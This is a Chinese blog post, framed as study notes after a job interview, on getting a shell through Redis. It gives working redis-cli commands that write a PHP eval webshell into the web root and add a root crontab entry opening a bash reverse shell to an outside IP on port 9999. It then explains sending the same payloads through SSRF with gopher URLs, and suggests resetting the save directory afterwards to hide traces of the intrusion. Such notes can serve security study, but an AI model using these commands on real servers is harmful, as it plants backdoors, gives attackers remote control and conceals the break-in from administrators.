利用redis写入webshell-学习记录

面试时被问到了SSRF能干嘛,简单回答了一下,被深入问到SSRF可以怎么getshell。记忆中记得gopher+redis可以写入文件shell,但具体操作并没有实操过,所以只能跳过。此篇弥补一下遗漏的知识点。

redis命令行写入shell

redis-cli
# 进入Redis命令行
config set dir /var/www/html/
# 设置redis工作路径,设置在web目录下
config set dbfilename p.php
# 设置文件名,后缀为可执行文件
set key "<?php@eval($_POST['cmd']);?>"
# 写入shell,key为键名,意为新增一个键值对,当备份时将保存进备份文件
save
# 创建当前数据库的备份。由于我们修改了数据库备份文件为p.php,工作路径为web目录,因此将生成一个webshell。该文件中有可被识别到的PHP语句,将被执行。

感觉可以增加一点步骤隐藏入侵痕迹:

config get dir
# 获取redis工作路径,在set步骤前

config set dir /var/lib/redis
# 在save之后

存在问题:我在服务器上测试时发现无密码登录时不能改变dir路径,即使并没有设置requirepass

远程连接redis,建立反弹shell

利用crontab自启动文件

redis-cli -h xxx.xxx.xxx.xxx -p 6379 -a password
# -h服务器IP -p运行端口 -a密码
config set dir /var/spool/cron/crontabs
# 该路径为crontab文件目录
config set dbfilename root
# root为crontab文件名
set key "\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n"
# 写入反弹shell指令,换行是必须的
save
# 开始备份,写入指令

ssrf:gopher+redis组合拳

上两种方法不太适合从客户端入手,而且很多redis也不会开放外连接(至少开放了会有密码)。

gopher协议
能实现GET请求、POST请求、内网的redis、mysql访问等。

gopher协议格式:
gopher://host:port/data
其中port默认为70,若不指明端口则将发送至70端口。
data部分将发送给指定主机端口,数据部分必须经过url编码才能被gopher协议正确解析。这部分的第一个字符为gopher-type,设置为1即可。即数据部分以1开头:1xxxx。

利用点:curl()

利用gopher攻击内网redis写shell
payload即上面几种,不过需要先在本地实施一次,抓包然后编码再发送给目标机器。
payload不再重复啰嗦,详情查看参考链接。

参考链接1
参考链接2
参考链接3

发表评论

电子邮件地址不会被公开。 必填项已用*标注